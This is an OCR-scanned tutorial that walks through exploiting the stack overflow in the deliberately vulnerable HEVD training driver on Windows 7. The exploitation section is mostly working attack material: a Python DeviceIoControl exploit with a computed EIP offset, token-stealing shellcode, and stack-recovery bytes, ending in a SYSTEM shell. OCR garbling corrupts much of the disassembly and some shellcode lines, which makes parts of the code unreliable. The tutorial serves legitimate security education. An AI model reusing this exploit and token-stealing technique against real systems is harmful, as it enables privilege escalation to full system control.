Windows Kernel Exploitation Tutorial Part 2:
Stack Overflow

X August 1,2017 £L rootkit

Overview

In the part 1, we looked into how to manually setup the environment for Kernel Debugging. If something
straightforward is what you want, you can look into this great writeup by hexblog about setting up the Vir-
tualKd for much faster debugging.

In this post, we'd dive deep into the kernel space, and look into our first Stack Overflow example in kernel
space through driver exploitation.

A shoutout to hacksysteam for the vulnerable driver HEVD, and fuzzySecurity, for a really good writeup on
the topic.

Setting up the driver

For this tutorial, we'd be exploiting the stack overflow module in the HEVD driver. Download the source
from github, and either you can build the driver yourself from the steps mentioned on the github page, or
download the vulnerable version here and select the one according to the architecture (32-bit or 64-bit).

Then, just load the driver in the debugee VM using the OSR Loader as shown below:
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Check if the driver has been successfully loaded in the debugee VM.
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There's also a .pdb symbol file included with the driver, which you can use as well.

Once the driver is successfully loaded, we can now proceed to analyze the vulnerability.



Analysis

If we look into the source code of the driver, and see the StackOverflow.c file, hacksysteam has done a
really good job in demonstrating both the vulnerable and the secure version of the driver code.

#ifdef SECURE

// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow

Rt1CopyMemory ( (PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
ttelse

DbgPrint("[+] Triggering Stack Overflow\n");

// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer

RtlCopyMemory ( (PVOID)KernelBuffer, UserBuffer, Size);

#tendif

}

__except (EXCEPTION_EXECUTE_HANDLER) {

Status = GetExceptionCode();

DbgPrint("[-] Exception Code: ©x%X\n", Status);

}

Here we see that in the insecure version, RtliCopyMemory() is taking the user supplied size directly without
even validating it, whereas in the secure version, the size is limited to the size of the kernel buffer. This vul-
nerability in the insecure version enables us to exploit the stack overflow vulnerability.

Let's analyze the driver in IDA Pro, to understand how and where the Stack Overflow module is triggered:

_DriverEntry=8
DriverEntry(x,x)

W=

_IrpDeviceloCtlHandler@8
IrpDbeviceloCtlHandler{x ,x)

_StackOverflowloctlHandler@8
StackDuverflowloctlHandler{x,x)

_ ggersitacklOverflowas
TriggerStackOverflow{x,x)

From the flow, let's analyze the IrpDeviceloCtIHandler call.



https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/StackOverflow.c

PAGE:0B8B1508E ; int _ stdcall IrpDeviceloCtlHandler{ DEVICE_OBJECT =#DeviceObject, _IRP =Irp)
PAGE:00015688E _IrpDeviceloCtlHandler@8 proc near

PAGE : 88615 B8E
PAGE : 8B01508E DevicelObject
PAGE : BBB1588E Irp
PAGE : 88615 88E

dword ptr 8
dword ptr 6Ch

PAGE : 00015 08E mov edi, edi

PAGE : BBB15898 push ebp

PAGE : 886156891 mowv ebp, esp

PAGE : 000150893 push ebx

PAGE : BBB15894 push esi

PAGE : 88615895 push edi

PAGE : 880150896 mowv edi, [ebp+Irp]

PAGE : 886150899 mowv esi, [edi+68h]

PAGE : 88815 89C mowv edx, [esi+BCh]

PAGE : 88015 689F mowv eax, 22281Fh

PAGE : 88815 6AY4 cmp edx, eax

PAGE : 80015 8A6 ja loc_151A2

PAGE : 88615 68AC jz loc_1518a

PAGE : 08815882 gax, edx

PAGE : BAB156BY sub eax, 222883h |
PAGE : 88615689 jz loc 15172

PAGE : 88615 BBF push 4

PAGE : 886815 8C1 pop eCx H

PAGE : 888158C2 sub eax, ecx

PAGE - 880815804 iz loc_1515A joc_15172: ; CODE XREF: IrpDeviceloCtlHandler(x,x)+2BTj
PAGE - @88158CA sub eax, ecx mou ebx, offset aHacksys_evd_st ; “sxxxxx HACKSYS_EUD_STACKOUERFLOW wwxxxsx’_ |
PAGE : 88815 6CC jz short loc_ push ebx : Format

PAGE : 88615 BCE sub eax, ecx call _DbgPrint

PAGE : BBB158D 8 jz short loc_ pop ecx

PAGE : 88615602 sub eax, ecx push esi ; IrpSp

PAGE : 88815 68DY4 jz short loc_ push edi ; Irp

PAGE - 08815806 sub eax, ecx call _StackOverflowloctlHandler@8 ; StackOverflowloctlHandler(x,x)
PAGE : 08815808 short loc S erw

We see that if the IOCTL is 0x222003h, the pointer jumps to the StackOverflow module. So, we now have
the way to call the Stack Overflow module, let's look into the TriggerStackOverflow function.

PAGE : 88014620 KernelBuffer = dword ptr -81Ch

PAGE : 8881462A var_1C dword ptr -1Ch

FAGE : 8801462A ms_excC CPPEH_RECORD ptr -18h
PAGE : 8881462A UserBuffer dword ptr 8

PAGE: 88014620 Size dword ptr H@Ch

PAGE : 80014620

PAGE : 80014620 push 88Ch

PAGE : 8881462F push offset stru_121D8

PAGE : 88814634 call

PAGE : 88814639 =0 esi, esi

PAGE : 0881463B ®0F edi, edi

PAGE : 8881463D mou [ebp+KernelBuffer], esi
PAGE : 68814643 push fFCh ; size t
PAGE : 88814648 push esi ; int

PAGE : 68814649 lea eax, [ebp+KernelBuffer+4]
PAGE : 888146 4F push eax ; void =
PAGE : 088146508 call _memset

PAGE : 80014655 add esp, BCh

PAGE : 888145658 mou [ebp+ms_exc_registration.TrylLevel], esi
PAGE : 88814658 push 4 ; Alignment

PAGE : 0001 465D mou esi, o0onh
PAGE : 88814662 push esi » Length
PAGE : 08014663 pus ebp+lUserbutfer] 3 ress

PAGE - 88814666 call ds: imp_ ProbeForRead@12 ; ProbeForRead{x,x,x)

PAGE : 68814660 push [ebp+UserBuffer]

PAGE : 8881 466F push offset alserbuffer8=zP ; “[+] UserBuffer: Bxz%pin”

PAGE : 68814674 call _DbgPrint

PAGE : 88814679 push [ebp+Size]

PAGE : 6881467C push offset alserbufferSize ; "'[+] UserBuffer Size: B=%XWwn"
FAGE : 88814681 call _DbgPrint

PAGE : 68014686 lea eax, [ebp+KernelBuffer]

PAGE : 8881468C push eax

PAGE : 6881468D push offset akernelbufferBx “[+] KernelBuffer: 8x%pin”
PAGE : 80014692 call _DbgPrint

PAGE : 68814697 push esi

PAGE : 88814698 push offset aKernelbufferSi ; "[+] KernelBuffer Size: Bx%iyvn"
PAGE : 88614690 call _DbgPrint

PAGE : BAB146A2 push offset aTriggeringSt 1 ; "[+] Triggering Stack Overflowin"
FAGE : 8808146A7 call _DbgPrint

PAGE : 8A8146AC push [ebp+Size] ; size t

PAGE : 688146AF push [ebp+UserBuffer] ; void =

PAGE : 88814682 1lea eax, [ebp+KernelBuffer]

PAGE : 68814668 push eax ; void =

PAGE : 88814689 call _memcpy

FAGE : 8868146BE add esp, 38h

PAGE : 88814601 jmp short loc_146E4

Important thing to note here is the length defined for the KernelBuffer, i.e. 0x800h (2048).



Exploitation

Now that we have all the relevant information, let's start building our exploit. I'd be using DeviceloControl()
to interact with the driver, and python to build our exploit.

OooNOOTUVTE, WNR

import ctypes, sys
from ctypes import *

kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, @, Non¢

if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle."
sys.exit(9)

buf = "A"*2048
bufLength = len(buf)

kernel32.DeviceIoControl(hevDevice, ©x222003, buf, bufLength, None, 0, byref(c_ulong()), Non¢

Let's fire up the WinDbg in debugger machine, put a breakpoint at TriggerStackOverflow function and ana-
lyze the behavior when we send the data of length 0x800h (2048).

1
2

Isym noisy
.reload;ed Kd_DEFAULT_Mask 8;

=1l bp HEVD!TriggerStackOverflow



https://msdn.microsoft.com/en-us/library/windows/desktop/aa363216(v=vs.85).aspx

El Disassembly - Kernel ‘com:port=coml,baud=115200" - WinDbg:10.0.15063.137 X86 =] 2%

Offset: @Sscopeip | Previous || Next |
9dB89b611 bLEO10000=0 mow eax, 0C0000001h

9d89%b616 359 test oK. B0E

9d89bE18 7406 je HEVD!AllocateFakeObject Ioct lHandler+0xla (9d4d89b620)
9d89bela 51 push SCH

9dE89bE1b =BdBfeffff call HEVD!AllocateFakeObject {9d489b4£8)

9d89be20 &d pop ebp

9d89bk21 =20800 ret g

9dB89bE24 cc int 3

9dB89bE 25 cc int 3

9dB9bE2E cc int 3

9dB89bE27 cc int 3

9dB9bE 28 cc int 3

9dB9bE29 cc i 3

S0Ch

off=et HEVD!_ =afe == _handler table+0=zcd (9d8991d8)
9d89b634 eBdbo9ffff HEVD!__SEH prologd (9d898014)
9d89b639 33f6 e=i,esi
9d89b63b 33ff edi, edi
9d89b63d S9hCedf?ffff dword ptr [ebp-81Ch].e=i
9d89b643 E8£fc070000 ?FCh
9d89b648 Sh D esi
9d89bF49 Sd8CeRf7ffff =ax, [ebp-818h]
9d89b64£f 50 =ax
9d89b650 eB91chffff HEVD ! mem=et (9d8981eh)
9d89b655 B3cdilc e=sp, 0Ch

Command - Kernel ‘com:port=coml,baud=115200" - WinDbg:10.0.15063.137 X86

Loading U=er Symbols

Loading unloaded module list
Onable to enumerate usser—-mnode unloaded modules, Wini2 error 0n3l

kd> bp HEVDITriggerStackOwerflow
SYMSREY: BYINDEX: O=B8

c:ayvnbols*https: wsm=dl  nicrozoft . con download-symbols

HEVD. pdb

D241CC04CEOE472CESEE1476958369FEL
SYMSEY: PATH: c:~symbol=~HEVD. K pdb~DZ241CCO4CEOB472CEEEEB1476958369FE1~HEVD . pdb
SYMSREY: EREESULT: 0=x00000000

DEGHELF: HEVD - private svmbols & lines
c:~eymbols~HEVD . pdb~D241CCO4CENB47 2CBE8EB1476958369FE1~HEVD . pdb
kd: bl
0 = Dizable Clear 9d89beZa qool ¢o00o0ly HEVD! TriggerStackOverf low

kd: g

*xxwxk HACKSYS EVD STACKOVERFLOW #%xxesx
Breakpoint 0 hit

HEVD I TriggerStackOverf low:

9d89%bk2a 680080000 pu=h a0Ch
kd: g

UeerBuffer: 0=0170C0R4
TzerBuffer Size: 0=z800
Kern=elBuffer: 0xA77AR294
Kern=elBuffer Size: 0x800
Iriggering otack Uvertlow
*xxxxx HACKSYS EVD STACKOVERFLOT *exexx

|*BUSY# |Debuggee is running. . .

What we see is, that though our breakpoint is hit, there’s no overflow or crash that occured. Let's increase
the buffer size to 0x900 (2304) and analyze the output.




E Disassembly - Kernel ‘com:port=com1,baud=115200" - WinDbg:10.0.15063.137 X806

Offset; @%=copeip

Ho prior disassembly possible

41414142 27 7
41414143 77 Y
41414144 7?7 s
41414145 27 7
41414148 77 Y
41414147 7?7 s
4141413148 77 Y
41414149 77 Y
41414145 7?7 s
4141414b 77 Y
4141414 77 Y
414143144 7?7 e
4141414 77 Y
4141414F 7?7 s
41414150 27 7
41414151 77 Y
41414152 77 s
41414153 27 7
41414154 77 Y
41414155 7?7 s
41414158 77 Y
41414157 17 Y
41414158 77 s
41414159 77 Y

Command - Kernel ‘com:port=coml,baud=115200" - WinDbqg:10.0.15063.137 X&6

Fol s L

0 e Dizable Clear 9d89bcZa ool 0001y HEVDI TriggerStackOwverf low

kd: g

*xxxxxx HACKSYS EVD STACKOVERFLOW
Breakpoint 0 hit

HEVD | TriggerStackOverflow:

9d89b6Za 630080000 push

kd: g

[+] U=zerBuffer: 0x017DC564

[+] UszerBuffer Size: 0x300

[+] EernelBuffer: 0x877AB294

[+] KernelBuffer Size: 0x800

[+] Triggering Stack Overflow

*xxxxx HACKSYS EVD STACHKOVEREFLOW eesesxxx
*xxxx% HACKSYS EVD STACEOVERFLOW *%xxxx
Breakpoint 0 hit

HEVD | TriggerStackOverf low:

9d89b62a 680080000 push 20Ch
kdr g

: 017CC0R4
[+] UszerBuffer Size: 0x900

[+] EernelBuffer: 0x9C3C3294

[+] KernelBuffer Size: 0x800

[+] Triggering Stack Overflow

ccess wiolation — code 0000005 (! s2cond chance 11
1414141 77 Cara

Ly 4L

ebx=9d8%da ecx=94819 edz=00000000 e=zi=9z65=fdf =edi=9c6befod

esp=9c8c3acl 1opl=0 nv up =1 ng nE ha pe nc
C== ===0010 d==0023 1 g==0000 ef 1=00010286
41414141 7

Bingo, we get a crash, and we can clearly see that it's a vanilla EIP overwrite, and we are able to overwrite
EBP as well.

Through the classic metasploit’s pattern create and offset scripts, we can easily figure out the offset for
EIP, and adjusting for the offset, the script looks like:

import ctypes, sys
from ctypes import *

kernel32 = windll.kernel32




hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", , 9, Nong

5

6

& if not hevDevice or hevDevice == -1:

8 print "*** Couldn't get Device Driver handle."
9

sys.exit(0)
10
AN buf = "A"* + "B"*4 4+ "C"*
iPB buflLength = len(buf)
13
V8 kernel32.DeviceIoControl(hevDevice, , buf, bufLength, None, 0, byref(c_ulong()), None

zecond chance 1)

up =1 hg n=

==00010 ef1=000102

Now that we have the control of EIP and have execution in kernel space, let's proceed with writing our
payload.

Because of the DEP, we can't just execute the instructions directly passed onto the stack, apart from return
instructions. There are several methods to bypass DEP, but for the simplicity, I'd be using VirtualAlloc() to
allocate a new block of executable memory, and copy our shellcode in that to be executed.

And for our shellcode, I'd be using the sample token stealing payload given by the hacksysteam in their
payloads.c file.

pushad ; Save registers state

; Start of Token Stealing Stub

Xor eax, eax ; Set ZERO

mov eax, fs:[eax + KTHREAD OFFSET] ; Get nt! KPCR.PcrbData.CurrentThread

; _KTHREAD is located at FS:[0x124]

mov eax, [eax + EPROCESS_OFFSET] ; Get nt! KTHREAD.ApcState.Process

OWoONOTUV A WDNLER

=
(]

mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM PID ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:

mov eax, [eax + FLINK OFFSET] ; Get nt! EPROCESS.ActiveProcesslLinks.Flink
sub eax, FLINK OFFSET

cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId

jne SearchSystemPID

mov edx, [eax + TOKEN OFFSET] ; Get SYSTEM process nt! EPROCESS.Token

mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt! EPROCESS.Token
; with SYSTEM process nt! EPROCESS.Token

; End of Token Stealing Stub

popad ; Restore registers state

Basically this shellcode saves the register state, finds the current process token and saves it, then finds the
SYSTEM process pid, extracts the SYSTEM process token, replace the current process’s token with the SYS-



https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Payloads.c

TEM process token, and restore the registers. As Windows 7 has SYSTEM pid 4, the shellcode can be writ-

ten as:

i import ctypes, sys, struct

PN from ctypes import *

3

8 kernel32 = windll.kernel32

B hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0@, None
6

YA if not hevDevice or hevDevice == -1:

8 print "*** Couldn't get Device Driver handle"

9 sys.exit(9)

10

46N shellcode = ""

WA shellcode += bytearray(

13 "\x60" # pushad

14 "\x31\xco" # Xor eax,eax

15 "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, [fs:eax+0x124]
16 "\x8b\x40\x50" # mov eax, [eax+0x50]

17 "\x89\xcl1" # mov ecx,eax

18 "\xba\x04\x00\x00\x00" # mov edx,0x4

19 "\x8b\x80\xb8\x00\x00\x00" # mov eax, [eax+0xb8]

20 "\x2d\xb8\x00\x00\x00" # sub eax,0xb8

21 "\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx

22 "\x75\xed" # jnz Oxla

23 "\x8b\x90\xf8\x00\x00\x00" # mov edx, [eax+0xf8]

24 "\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx

25 "\x61" # popad

26 |

27

il ptr = kernel32.VirtualAlloc(c_int(@),c_int(len(shellcode)),c_int(0x3000),c_int(0x40))
il buff = (c_char * len(shellcode)).from buffer(shellcode)

El’N kernel32.Rt1lMoveMemory(c_int(ptr),buff,c_int(len(shellcode)))
EFN shellcode_final = struct.pack("<L",ptr)

32

EEN buf = "A"*2080 + shellcode_final

eV bufLength = len(buf)

35

el kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None

But we soon hit a problem here during execution:




E Disassembly - Kernel ‘com:port=com1,baud=115200" - WinDbg:10.0.15063.137 X86

Offset; P$=scopeip

Qo430000 e0 pushad

Q0430001 31cz0 HOT SaK, 2aK

00430003 648bB024010000 mow 2a®, dword ptr f=:[eax+lZdh]
Q043000a Sb4050 now eax,dwvord ptr [sa=z+50h]
ooa3000d 89=1 mow SCH, 2aK

0043000f ba0doooooo mor ed=, 4

00430014 SbE0bE0O0O0OO0OOO mow eax,dword ptr [eax+0BSh]
0043001a 2dbE00000O =ub eax, 1BEh

Q043001f 3990bd00ooon Cmp dword ptr [eaz+0B4h].ed=
00430025 75ed ine no430014

00430027 8b90fa000000 o ed=, dword ptr [sax+0F8h]
noazon-d 8991 fa00000n T Tmktd duord ntr [ecx+0FEh] _=sd=
00430033 61 popad

Qo43003e 0000 add byte ptr [=ax].al
0o430038 0000 add byte ptr [=ax].al
JlasUlsa Uoad add byte ptr |[eax].al
043003z 0000 add bvte ptr [eax].al
0043003= 0000 add byte ptr [sax].al
go430040 o000 add byte ptr [eax].al
oo430042 0000 add bvte ptr [eax].al
go430044 o000 add byte ptr [=ax].al
Qo43004e 0000 add byte ptr [eax].al
oo430048 0000 add byte ptr [=ax].al
n043004a 0000 add byte ptr [sax].al
0043004z 0000 add byte ptr [sax].al

Command - Kernel ‘com:port=com1,baud=115200" - WinDbqg:10.0.15063.137 X&86

RN N RN B WA o 1Ll L

HEVD | TriggerStaclkivert low:
Bcl19162a 680080000 push 20Ch
kd» bp 8cl9lecl

kd: g

[+] UzerBuffer: 0x01728554

[+] U=zerBuffer Size: 0x824

[+] KernelBuffer: 0x95763294
[+] EernelBuffer Size: 0=x200
[+] Triggering Stack Overflow
Brealkpoint 1 hit

HEVD | TriggerStackOverf low+0=z97 :
Acl916zl =b2l jmp HEVD ! TriggerStackOverf low+0xba (8zl191624)
kd: p

HEVD | TriggerStackOverf lov+0xha:

dcl9lted cVd4bfcfeffffififi mov dword ptr [ebp—4].0FFFFFFFEL

kd: p

HEVD | TriggerStackOverf lov+0=zcl :

gcl9leeb 8bo? mow eax, edi

kd: p

HEVD | TriggerStackOvertf lov+0=zc3

Bcl9lbed =867c9ffEf call HEVD! _SEH epilogd {(8cz18=059)

kd: p

HEVD | TriggerStackOverf lov+0zcd

l8c1916f2 c20a00 ret

kd: p

Qo430000 &0 pushad

kd: p

00430001 31cO EOT A, 2AK

kd: g

Access violation — code 0000005 (!l =zecond chance 111
oo430034 o000 add byte ptr [=ax].al

[l > |

We see that our application recovery mechanism is flawed, and though our shellcode is in memory and ex-
ecuting, the application isn't able to resume its normal operations. So, we would need to modify and add
the instructions that we overwrote, which should help the driver resume it's normal execution flow. Let’s
analyze the behaviour of the application normally, without the shellcode.




E Disassembly - Kernel ‘com:port=com1,baud=115200" - WinDbg:10.0.15063.137 X86

Offset; @%=copeip

HEVD!StaclkOverf lowloct lHandler:

827676fa 8bff mow edi.edi

827676fc GG pu=h ebp

827676fd Zbhec now ebp.esp

827676ff 8bddlc mor ecx, dvord ptr [ebp+0Ch]

32767702 B8BS110 mow edx, dwvord ptr [eczE+l10h]

82767705 8b490a mow ecE, dvord ptr [ecz+8]

82767708 bE0O10000c0 nov eax, 0C0000001h

82767704 8542 test ed=z,. ed=x

B27e770L 7407 e HEVDIStackOverf lovloct lHandler+0xle {(82767718)
32767711 51 pu=h [=lmacd

82767712 52 pu=h ed=x

R R R == RELLLriggerStackCverf low (B276762a)

282767719 20800 ret
ve/b/ile co int
8276771d cc int
227e771e cc int
827e771f oo int
82767720 cc int
82767721 oo int

HEVD | TypeConfusionObjectInitializer:
82767722 8bif now edi, edi
82787724 55 push ebp
32767725 8bec o ebp . e=p
82767727 5b pu=h 2=l

Command - Kernel 'com:port=com1,baud=115200" - WinDbqg:10.0.15063.137 X&86

riraiinna.y . iyl T P awaLsS SylLL L s 1 L LLIES

o wsynbols~HEYD . pdb~D241CC04CENB47 2CEBA8E14769583369FB1I~HEVD . pdb

kd: g

*xxxxx HACKSYS EVD STACKOVERFLOW *%kxx*

Brealkpoint 0 hit

HEVD | TriggerStackiOwverf low:

8276762a 680c080000 pu=sh A0Ch

kd: bp 8276761

kdr g

[+] U=zerBuffer: 0=x017585c64

[+] UzerBuffer Size: 0x7D0

[+] EernelBuffer: 0x94141294

[+] EernelBuffer Size: 0=x8010

[+] Triggering Stack Overilow

Breakpoint 1 hit

HEVD | TriggerStackiOveri low+0=x97 :

827676zl b2l inp HEVD I TriggerStaclkiOverf low+0xba (B82767624)
kd: p

HEVD | TriggerStackiOveri lov+0=xba:

82767624 c745fcfeffffff mov dword ptr [ebp—4].0FFFFFFFEhL

kd: p

HEVD | TriggerStackidverf lov+0=cl :

83276762b 8bc? mow eax,. edi

kd: p

HEVD | TriggerStackiOverf lov+0=c3 :

le27676ed o807 If L] call HEVD! SEH epilogd (82764059)

kd: p

HEVD | TriggerStackiOverf lov+0=cd :
a427676f2 20800 ret a
kd:> p

HEVD | StackOwerflowloctlHandler+0xle:
82767718 &d pop ebp

[led > |

We see that we just need to add pop ebp and ret 8 after our shellcode is executed for the driver recovery.
The final shellcode, after this, becomes:

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",




9 if not hevDevice or hevDevice == -1:

10 print "*** Couldn't get Device Driver handle"

11 sys.exit(®)

12

13 shellcode = ""

14 shellcode += bytearray(

15 "\x60" # pushad

16 "\x31\xco" # xor eax,eax

17 BV VAV AV ETAVOZAVCIRAVCIAVCIN # mov eax, [fs:eax+0x124]
18 BVEAVZAVE # mov eax, [eax+0x50]

19 "\x89\xcl" # mov ecx,eax

20 "\xba\x04\x00\x00\x00" # mov edx,0x4

21 "\x8b\x80\xb8\x00\x00\x00" # mov eax, [eax+0xb8]

22 "\x2d\xb8\x00\x00\x00" # sub eax,0xb8

23 AV EEAVE AV IAVCAVCIAVCIN # cmp [eax+Oxb4d],edx
24 "\x75\xed" # jnz Oxla

25 "\x8b\x90\xf8\x00\x00\x00" # mov edx, [eax+0xf8]

26 "\x89\x91\xf8\x00\x00\x00" # mov [ecx+@xf8],edx

27 "\x61" # popad

28 "\x31\xce" # xor eax,eax

29 "\x5d" # pop ebp

30 "\xc2\x08\x00" # ret ox8

31 )

32

B8 ptr = kernel32.VirtualAlloc(c_int(9),c_int(len(shellcode)),c_int(0x3000),c_int(0x40))
34 buff = (c_char * len(shellcode)).from buffer(shellcode)

35 kernel32.Rt1MoveMemory(c_int(ptr),buff,c_int(len(shellcode)))
36 shellcode_final = struct.pack("<L",ptr)

37

38 buf = "A"*2080 + shellcode_final

39 bufLength = len(buf)

40

41 kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 9, byref(c_ulong()),
42 Popen("start cmd", shell=True)

43

ZV8 if  name_ == "__main__":

45 main()

And WOO0tWO0O0t, we get the nt authority\system privileges, successfully exploiting our vulnerability.

p— CilLIL
CAWindows\system32\cmd.exe J

Microsoft Windows [Uersion 6.1.7601]
Copyright (c) 2009 HMicrosoft Corporation. All rights reserved.

C:\Users\IEUser>cd Desktop

C:\Users\IEUser\Desktop>whoami
iellwinT\ieuser

C:\Users\IEUser\Desktop1pgthon exploit.pgl

C:\Users\IEUser\Desktop>
B Administrator: CA\Windows\system32\cmd.exe

|
Microsoft Windows [Uersion 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

:\Users\IEUser\Desktop>whoami
t authorityi\system

C:\Users\IEUser\Desktop>_
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